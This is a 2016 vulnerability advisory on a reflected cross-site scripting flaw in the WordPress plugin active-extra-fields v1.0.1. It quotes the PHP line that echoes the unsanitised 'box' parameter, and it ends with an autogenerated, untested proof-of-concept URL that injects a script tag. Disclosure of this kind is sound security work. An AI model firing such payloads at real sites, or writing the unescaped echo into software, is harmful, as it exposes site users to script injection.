Advisory #: 118
Title: Reflected XSS in wordpress plugin active-extra-fields v1.0.1
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/active-extra-fields
Downloads: 1489
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: active-extra-fields
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./active-extra-fields/custom-fields-manager.class.php: 309: <!--<h4><a href="options-general.php?page=more-fields.php"><?php _e('Boxes', 'more-fields'); ?></a> &gt; <a href="options-general.php?page=more-fields&action=edit_box&box=<?php echo urlencode($_GET['box']); ?>"><?php echo $_GET['box']; ?></a> &gt; <?php echo $nav; ?></h4>--> The variable box appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./active-extra-fields/custom-fields-manager.class.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/active-extra-fields/custom-fields-manager.class.php?box="><script>alert(1);</script><"